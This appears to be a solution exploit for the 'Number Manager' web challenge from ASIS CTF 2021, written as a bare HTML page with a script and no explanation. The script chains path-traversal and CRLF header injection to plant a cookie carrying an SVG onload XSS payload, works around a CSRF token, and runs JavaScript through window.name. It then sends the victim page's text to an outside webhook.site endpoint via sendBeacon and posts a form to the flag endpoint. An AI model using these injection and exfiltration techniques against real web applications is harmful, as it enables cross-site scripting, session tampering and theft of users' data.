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Number Manager - ASIS CTF 2021
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| <body> | |
| <script> | |
| window.open('http://nmanager/index.html#uselessssssxss%20csrf_token=x,x%D8%B3d') | |
| setTimeout(function(){ | |
| window.open('http://nmanager/api/..%2fapi/numdesc?csrf_token=x&n=%0a%0dSet-Cookie%3A+data%3DWyI8c3ZnPjxzdmcgb25sb2FkPWxvY2F0aW9uPW5hbWU%2BIl0%3D%3B+path%3D&c=xss'); | |
| window.open('http://nmanager/api/..%2fapi/numdesc?csrf_token=x&n=%3Csvg%3E%3Csvg+onload%3Dlocation%3Dname%3E&c=xss'); | |
| },500) | |
| setTimeout(function(){ | |
| window.open('http://nmanager/x/..%2fdescriptions/%0a%0dSet-Cookie:+data=WyI8c3ZnPjxzdmcgb25sb2FkPWxvY2F0aW9uPW5hbWU%2bIl0=;+path=/content/..%2f') | |
| },1000) | |
| setTimeout(function(){ | |
| window.open('http://nmanager/index.html',`javascript:navigator.sendBeacon('https://webhook.site/***?s',opener.document.body.innerText)`) | |
| j=document.createElement('form') | |
| j.setAttribute('action','http://nmanager/api/flag?csrf_token=x') | |
| j.setAttribute('method','post') | |
| j.setAttribute('target','_self') | |
| document.body.appendChild(j) | |
| j.submit() | |
| },1500) | |
| </script> | |
| </body> |
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